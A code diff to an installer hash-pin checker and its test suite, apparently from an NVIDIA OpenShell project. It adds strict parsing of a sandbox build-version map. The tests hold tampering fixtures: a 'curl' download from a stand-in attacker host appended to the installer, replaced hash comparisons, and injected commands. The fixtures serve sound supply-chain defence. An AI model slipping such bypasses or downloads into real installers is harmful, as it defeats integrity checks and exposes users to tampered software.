diff --git a/scripts/checks/extract-installer-pins.mts b/scripts/checks/extract-installer-pins.mts index ce70f72693..2e897b4bca 100644 --- a/scripts/checks/extract-installer-pins.mts +++ b/scripts/checks/extract-installer-pins.mts @@ -25,6 +25,11 @@ type ExtractOptions = { sourceLabel: string; }; +type SandboxBuildPin = { + sha256: string; + version: string; +}; + type CliOptions = { blueprint: string; brevInstaller: string; @@ -43,7 +48,7 @@ const MAX_INSTALLER_INPUT_BYTES = 1024 * 1024; // release; the later pin PR may then change release data without authorizing // any operational installer change. A mismatch reports the candidate hash. const TRUSTED_INSTALLER_TEMPLATE_SHA256 = - "7858227dbcb727613ed9fa13a1dd993a04b74d1341fca5087bf38e868588ef5d"; + "a101f002bd8e02aa7b38960ddcb76c9fca419bc3766f6870446f6a7e99e14d78"; const TRUSTED_BREV_TEMPLATE_SHA256 = "c0a4ddf25a02a9fe02b2df53a60942ea887610f04d4ce16a121b6e79a5aeff1a"; const EXPECTED_INSTALLER_ASSETS = [ @@ -220,6 +225,14 @@ function extractInstallerMinimumVersion(source: string): string { ); } +function extractInstallerDevelopmentMinimumVersion(source: string): string { + return extractSingleVersion( + source, + /^DEV_MIN_VERSION="([0-9]+\.[0-9]+\.[0-9]+)"\s*$/gm, + "installer DEV_MIN_VERSION", + ); +} + function extractBrevStableRuntimeVersion(source: string): string { return extractSingleVersion( source, @@ -249,7 +262,12 @@ function tokenizeShellSubset(source: string): Token[] { continue; } if (character === "\n") { - tokens.push({ end: index + 1, kind: "newline", start: index, value: "\n" }); + tokens.push({ + end: index + 1, + kind: "newline", + start: index, + value: "\n", + }); index += 1; continue; } @@ -260,12 +278,22 @@ function tokenizeShellSubset(source: string): Token[] { continue; } if (character === ";" && next === ";") { - tokens.push({ end: index + 2, kind: "operator", start: index, value: ";;" }); + tokens.push({ + end: index + 2, + kind: "operator", + start: index, + value: ";;", + }); index += 2; continue; } if (isOperatorStart(character)) { - tokens.push({ end: index + 1, kind: "operator", start: index, value: character }); + tokens.push({ + end: index + 1, + kind: "operator", + start: index, + value: character, + }); index += 1; continue; } @@ -426,7 +454,11 @@ function functionDefinitionSourceRanges(source: string, functionName: string): S if (start === undefined || end === undefined) { fail(`${functionName} source range is unavailable`); } - ranges.push({ end, replacement: `<${functionName}:trusted-release-data>`, start }); + ranges.push({ + end, + replacement: `<${functionName}:trusted-release-data>`, + start, + }); index = bodyCursor; break; } @@ -448,21 +480,151 @@ function selectorVersionEdit(source: string, pattern: RegExp, label: string): So const relativeStart = match[0].indexOf(version); if (relativeStart === -1) fail(`${label} release selector range is unavailable`); const start = match.index + relativeStart; - return { end: start + version.length, replacement: "", start }; + return { + end: start + version.length, + replacement: "", + start, + }; +} + +// invalidState: a dependency pin PR needs to add standalone sandbox binary +// identities but could hide control flow or arbitrary commands inside the map +// if the whole function were normalized without first parsing its grammar. +// sourceBoundary: this base-trusted parser accepts only literal digest case +// alternatives that print literal versions and a fail-closed default branch. +// regressionTest: installer-hash-check.test.ts covers valid additions plus +// control-flow, unknown-command, duplicate-digest, and malformed-version edits. +// removalCondition: remove this parser only when the standalone sandbox build +// identity map is generated from a base-trusted machine-readable manifest. +function extractSandboxBuildPins(source: string): SandboxBuildPin[] { + const functionName = "pinned_sandbox_build_version"; + const tokens = tokenizeShellSubset(source); + const bodyRanges = functionBodyRanges(tokens, functionName); + if (bodyRanges.length !== 1) { + fail(`installer must contain exactly one ${functionName} release-data function`); + } + const [bodyStart, bodyEnd] = bodyRanges[0] ?? fail(`${functionName} body range is unavailable`); + let cursor = skipSeparators(tokens, bodyStart); + + const localCommand = commandBeforeSeparator(tokens, cursor); + if ( + localCommand.command.length !== 2 || + !isToken(localCommand.command[0], "word", "local") || + !isToken(localCommand.command[1], "word", "digest=$1") || + rawToken(source, localCommand.command[1]) !== 'digest="$1"' + ) { + fail(`${functionName} must begin with exactly local digest="$1"`); + } + cursor = skipSeparators(tokens, localCommand.next); + + const caseCommand = commandBeforeSeparator(tokens, cursor); + if ( + caseCommand.command.length !== 3 || + !isToken(caseCommand.command[0], "word", "case") || + !isToken(caseCommand.command[1], "word", "$digest") || + rawToken(source, caseCommand.command[1]) !== '"$digest"' || + !isToken(caseCommand.command[2], "word", "in") + ) { + fail(`${functionName} must dispatch exactly on "$digest"`); + } + cursor = skipSeparators(tokens, caseCommand.next); + + const pins: SandboxBuildPin[] = []; + const seenDigests = new Set(); + let sawDefaultBranch = false; + while (cursor < bodyEnd) { + if (isToken(tokens[cursor], "word", "*")) { + sawDefaultBranch = true; + cursor += 1; + if (!isToken(tokens[cursor], "operator", ")")) { + fail(`${functionName} default branch must be exactly *)`); + } + cursor = skipSeparators(tokens, cursor + 1); + const defaultCommand = commandBeforeSeparator(tokens, cursor); + if ( + defaultCommand.command.length !== 2 || + !isToken(defaultCommand.command[0], "word", "return") || + !isToken(defaultCommand.command[1], "word", "1") + ) { + fail(`${functionName} default branch must return 1`); + } + cursor = skipSeparators(tokens, defaultCommand.next); + if (!isToken(tokens[cursor], "operator", ";;")) { + fail(`${functionName} default branch must end with ;;`); + } + cursor = skipSeparators(tokens, cursor + 1); + if (!isToken(tokens[cursor], "word", "esac")) { + fail(`${functionName} must end with esac after its default branch`); + } + cursor = skipSeparators(tokens, cursor + 1); + if (cursor !== bodyEnd) { + fail(`${functionName} contains commands after its case statement`); + } + break; + } + + const digests: string[] = []; + let expectDigest = true; + while (cursor < bodyEnd && !isToken(tokens[cursor], "operator", ")")) { + const token = tokens[cursor]; + if (expectDigest) { + if (!isToken(token, "word") || !SHA256_PATTERN.test(token.value)) { + fail(`${functionName} case patterns must contain literal SHA-256 digests`); + } + if (seenDigests.has(token.value)) { + fail(`${functionName} contains duplicate digest ${token.value}`); + } + seenDigests.add(token.value); + digests.push(token.value); + } else if (!isToken(token, "word", "|")) { + fail(`${functionName} digest alternatives must be separated by |`); + } + expectDigest = !expectDigest; + cursor += 1; + } + if (digests.length === 0 || expectDigest || !isToken(tokens[cursor], "operator", ")")) { + fail(`${functionName} contains a malformed digest case pattern`); + } + cursor = skipSeparators(tokens, cursor + 1); + + const printfCommand = commandBeforeSeparator(tokens, cursor); + const version = printfCommand.command[2]?.value ?? ""; + if ( + printfCommand.command.length !== 3 || + !isToken(printfCommand.command[0], "word", "printf") || + !isToken(printfCommand.command[1], "word", "%s\\n") || + !/^[0-9]+\.[0-9]+\.[0-9]+$/u.test(version) + ) { + fail(`${functionName} digest branches must print exactly one literal X.Y.Z version`); + } + for (const sha256 of digests) pins.push({ sha256, version }); + cursor = skipSeparators(tokens, printfCommand.next); + if (!isToken(tokens[cursor], "operator", ";;")) { + fail(`${functionName} digest branches must end with ;;`); + } + cursor = skipSeparators(tokens, cursor + 1); + } + + if (!sawDefaultBranch) fail(`${functionName} must contain a fail-closed default branch`); + if (pins.length === 0) fail(`${functionName} must contain at least one sandbox build pin`); + return pins; } function normalizeTrustedInstallerTemplate( source: string, - functionName: string, + functionNames: readonly string[], selectorPatterns: readonly RegExp[], label: string, ): string { - const functionRanges = functionDefinitionSourceRanges(source, functionName); - if (functionRanges.length !== 1) { - fail(`${label} must contain exactly one ${functionName} release-data function`); - } + const functionRanges = functionNames.flatMap((functionName) => { + const ranges = functionDefinitionSourceRanges(source, functionName); + if (ranges.length !== 1) { + fail(`${label} must contain exactly one ${functionName} release-data function`); + } + return ranges; + }); const edits = [ - functionRanges[0] ?? fail(`${label} release-data range is unavailable`), + ...functionRanges, ...selectorPatterns.map((pattern, index) => selectorVersionEdit(source, pattern, `${label} selector ${index + 1}`), ), @@ -491,14 +653,14 @@ function normalizeTrustedInstallerTemplate( // machine-readable manifest directly drives every installer operation. function assertTrustedTemplate( source: string, - functionName: string, + functionNames: readonly string[], selectorPatterns: readonly RegExp[], expectedSha256: string, label: string, ): void { const normalized = normalizeTrustedInstallerTemplate( source, - functionName, + functionNames, selectorPatterns, label, ); @@ -531,7 +693,10 @@ function commandBeforeSeparator( ) { cursor += 1; } - return { command: tokens.slice(start, cursor), next: skipSeparators(tokens, cursor) }; + return { + command: tokens.slice(start, cursor), + next: skipSeparators(tokens, cursor), + }; } function staticPinFromArm( @@ -776,16 +941,26 @@ function runCli(): void { ); } const releaseVersion = releaseVersions[0] ?? fail("installer pin tables contain no release"); + const sandboxBuildPins = extractSandboxBuildPins(installerSource); + if (!sandboxBuildPins.some((pin) => pin.version === releaseVersion)) { + fail( + `pinned_sandbox_build_version must contain at least one digest for release ${releaseVersion}`, + ); + } assertTrustedTemplate( installerSource, - "openshell_pinned_sha256", - [/^MIN_VERSION="([0-9]+\.[0-9]+\.[0-9]+)"$/gm, /^MAX_VERSION="([0-9]+\.[0-9]+\.[0-9]+)"$/gm], + ["openshell_pinned_sha256", "pinned_sandbox_build_version"], + [ + /^MIN_VERSION="([0-9]+\.[0-9]+\.[0-9]+)"$/gm, + /^MAX_VERSION="([0-9]+\.[0-9]+\.[0-9]+)"$/gm, + /^DEV_MIN_VERSION="([0-9]+\.[0-9]+\.[0-9]+)"$/gm, + ], TRUSTED_INSTALLER_TEMPLATE_SHA256, "installer", ); assertTrustedTemplate( brevInstallerSource, - "openshell_cli_pinned_sha256", + ["openshell_cli_pinned_sha256"], [/^\s*stable\s*\|\s*auto\)\s*OPENSHELL_VERSION="v([0-9]+\.[0-9]+\.[0-9]+)"\s*;;\s*$/gm], TRUSTED_BREV_TEMPLATE_SHA256, "Brev launchable", @@ -794,6 +969,7 @@ function runCli(): void { ["blueprint max_openshell_version", extractBlueprintMaxVersion(blueprintSource)], ["installer MIN_VERSION", extractInstallerMinimumVersion(installerSource)], ["installer MAX_VERSION", extractInstallerRuntimeVersion(installerSource)], + ["installer DEV_MIN_VERSION", extractInstallerDevelopmentMinimumVersion(installerSource)], ["Brev stable OpenShell default", extractBrevStableRuntimeVersion(brevInstallerSource)], ] as const) { if (runtimeVersion !== releaseVersion) { diff --git a/test/installer-hash-check.test.ts b/test/installer-hash-check.test.ts index 2ff8271913..dc9394088d 100644 --- a/test/installer-hash-check.test.ts +++ b/test/installer-hash-check.test.ts @@ -1,6 +1,7 @@ // SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. // SPDX-License-Identifier: Apache-2.0 +import assert from "node:assert/strict"; import { spawnSync } from "node:child_process"; import { createHash } from "node:crypto"; import fs from "node:fs"; @@ -90,6 +91,7 @@ type FixtureMode = | "installer-comment-decoy" | "installer-dead-code-decoy" | "installer-decoy-table" + | "installer-dev-min-version-drift" | "installer-extra-download" | "installer-indirect-selector-override" | "installer-later-min-selector-override" @@ -97,6 +99,13 @@ type FixtureMode = | "installer-literalized-pin-input" | "installer-min-version-drift" | "installer-pin-selector-drift" + | "installer-sandbox-build-control-flow" + | "installer-sandbox-build-duplicate-digest" + | "installer-sandbox-build-literalized-input" + | "installer-sandbox-build-literalized-selector" + | "installer-sandbox-build-malformed-version" + | "installer-sandbox-build-pin-change" + | "installer-sandbox-build-unknown-command" | "installer-sha-command-bypass" | "mismatched-table-versions" | "missing-brev-pin" @@ -190,6 +199,24 @@ const BREV_MUTATIONS: Partial string>> = 'stable | auto) OPENSHELL_VERSION="v0.0.82" ;;', ), }; +const mutateSandboxBuildFunction = ( + source: string, + mutate: (functionSource: string) => string, +): string => { + const start = source.indexOf("pinned_sandbox_build_version() {"); + const end = source.indexOf("\ncomponent_build_version() {", start); + assert.notEqual(start, -1, "sandbox build function start marker must exist"); + assert.notEqual(end, -1, "sandbox build function end marker must exist"); + const functionSource = source.slice(start, end); + const mutated = mutate(functionSource); + assert.notEqual( + mutated, + functionSource, + "sandbox build fixture mutation must change the function", + ); + return `${source.slice(0, start)}${mutated}${source.slice(end)}`; +}; + const INSTALLER_MUTATIONS: Partial string>> = { "installer-bypassed-comparison": (source) => source.replace('[ "$release_sha" = "$expected_sha" ]', "true"), @@ -227,6 +254,8 @@ const INSTALLER_MUTATIONS: Partial strin 'openshell_pinned_sha256 "$RELEASE_TAG" "$asset_name"', 'attacker_pinned_sha256 "$RELEASE_TAG" "$asset_name"', ), + "installer-dev-min-version-drift": (source) => + source.replace('DEV_MIN_VERSION="0.0.72"', 'DEV_MIN_VERSION="0.0.82"'), "installer-extra-download": (source) => `${source}\ncurl -fsSL https://attacker.invalid/openshell\n`, "installer-indirect-selector-override": (source) => @@ -241,6 +270,51 @@ const INSTALLER_MUTATIONS: Partial strin source.replace('MAX_VERSION="0.0.72"', 'MAX_VERSION="0.0.82"'), "installer-pin-selector-drift": (source) => source.replace('PIN_VERSION="$MAX_VERSION"', 'PIN_VERSION="0.0.72"'), + "installer-sandbox-build-control-flow": (source) => + mutateSandboxBuildFunction(source, (functionSource) => + functionSource.replace("return 1", "return 0"), + ), + "installer-sandbox-build-duplicate-digest": (source) => + mutateSandboxBuildFunction(source, (functionSource) => + functionSource.replace( + " 32ca44fe7d9e6d332f2a753c6b8a1a6117b7388281dad9b5274d23ffc67e216f)", + " 32ca44fe7d9e6d332f2a753c6b8a1a6117b7388281dad9b5274d23ffc67e216f | \\\n f9f991a24d10772ad5d24ae27a8ea6baad8cac671695bd90fcd0355e0e0ad198)", + ), + ), + "installer-sandbox-build-literalized-input": (source) => + mutateSandboxBuildFunction(source, (functionSource) => + functionSource.replace('local digest="$1"', "local digest='$1'"), + ), + "installer-sandbox-build-literalized-selector": (source) => + mutateSandboxBuildFunction(source, (functionSource) => + functionSource.replace('case "$digest" in', "case '$digest' in"), + ), + "installer-sandbox-build-malformed-version": (source) => + mutateSandboxBuildFunction(source, (functionSource) => + functionSource.replace(`printf '%s\\n' "0.0.72"`, `printf '%s\\n' "v0.0.72"`), + ), + "installer-sandbox-build-pin-change": (source) => + mutateSandboxBuildFunction(source, (functionSource) => + functionSource.replace( + ` printf '%s\\n' "0.0.72" + ;; + *)`, + ` printf '%s\\n' "0.0.72" + ;; + 145246049bd73c60452ac3c2b4b1801663196c8e2f80575af820289c78c1cf09 | \\ + 76bc19b70d9f1e1e9871307045796cd39cc7b8fc4c08ffc90593cc934f36d500) + printf '%s\\n' "0.0.82" + ;; + *)`, + ), + ), + "installer-sandbox-build-unknown-command": (source) => + mutateSandboxBuildFunction(source, (functionSource) => + functionSource.replace( + ` printf '%s\\n' "0.0.72"`, + ` printf '%s\\n' "0.0.72"\n echo unexpected`, + ), + ), "installer-sha-command-bypass": (source) => source.replace('SHA_CMD="sha256sum"', 'SHA_CMD="true"'), "multiple-installer-versions": (source) => @@ -417,13 +491,29 @@ function renderInstallerTemplate(openshellVersion: string, pinFunction: string): const selected = INSTALLER_TEMPLATE.replace( /^MIN_VERSION="[0-9]+\.[0-9]+\.[0-9]+"$/m, `MIN_VERSION="${openshellVersion}"`, - ).replace(/^MAX_VERSION="[0-9]+\.[0-9]+\.[0-9]+"$/m, `MAX_VERSION="${openshellVersion}"`); - return replacePinFunction( + ) + .replace(/^MAX_VERSION="[0-9]+\.[0-9]+\.[0-9]+"$/m, `MAX_VERSION="${openshellVersion}"`) + .replace( + /^DEV_MIN_VERSION="[0-9]+\.[0-9]+\.[0-9]+"$/m, + `DEV_MIN_VERSION="${openshellVersion}"`, + ); + const withPinFunction = replacePinFunction( selected, "openshell_pinned_sha256", "openshell_checksum_line", pinFunction, ); + const sandboxFunctionStart = withPinFunction.indexOf("pinned_sandbox_build_version() {"); + const sandboxFunctionEnd = withPinFunction.indexOf( + "\ncomponent_build_version() {", + sandboxFunctionStart, + ); + expect(sandboxFunctionStart, "sandbox build map template start").not.toBe(-1); + expect(sandboxFunctionEnd, "sandbox build map template end").not.toBe(-1); + const sandboxFunction = withPinFunction + .slice(sandboxFunctionStart, sandboxFunctionEnd) + .replaceAll("printf '%s\\n' \"0.0.72\"", `printf '%s\\n' "${openshellVersion}"`); + return `${withPinFunction.slice(0, sandboxFunctionStart)}${sandboxFunction}${withPinFunction.slice(sandboxFunctionEnd)}`; } function renderBrevTemplate(openshellVersion: string, pinFunction: string): string { @@ -450,7 +540,9 @@ function createFixture( tempDirs.push(fixtureRoot); fs.mkdirSync(checksDir, { recursive: true }); fs.mkdirSync(binDir, { recursive: true }); - fs.mkdirSync(path.join(fixtureRoot, "nemoclaw-blueprint"), { recursive: true }); + fs.mkdirSync(path.join(fixtureRoot, "nemoclaw-blueprint"), { + recursive: true, + }); const checker = fs.readFileSync( path.join(REPO_ROOT, "scripts", "check-installer-hash.sh"), "utf8", @@ -650,6 +742,28 @@ describe("installer hash verification", () => { expect(afterPrerequisite.stdout).not.toContain("PR_CHECKER_EXECUTED"); }); + it("permits structurally parsed sandbox build release-data additions", () => { + const result = runFixture("installer-sandbox-build-pin-change", undefined, true); + + expect(result.status).toBe(0); + expect(result.stdout).toContain("All installer hashes are current"); + }); + + it.each([ + "installer-sandbox-build-control-flow", + "installer-sandbox-build-duplicate-digest", + "installer-sandbox-build-literalized-input", + "installer-sandbox-build-literalized-selector", + "installer-sandbox-build-malformed-version", + "installer-sandbox-build-unknown-command", + ] as const)("rejects untrusted sandbox build map mutation %s", (mode) => { + const result = runFixture(mode, undefined, true); + + expect(result.status).toBe(1); + expect(result.stdout).toContain("unable to extract the OpenShell installer pin tables"); + expect(result.stdout).not.toContain("All installer hashes are current"); + }); + it("fails closed when an allowlisted release lacks all three manifest digests", () => { const result = runFixture("incomplete-trusted-allowlist", undefined, true); @@ -682,6 +796,10 @@ describe("installer hash verification", () => { "installer-max-version-drift", "installer pin-table release 0.0.72 must match installer MAX_VERSION 0.0.82", ], + [ + "installer-dev-min-version-drift", + "installer pin-table release 0.0.72 must match installer DEV_MIN_VERSION 0.0.82", + ], [ "brev-stable-version-drift", "installer pin-table release 0.0.72 must match Brev stable OpenShell default 0.0.82",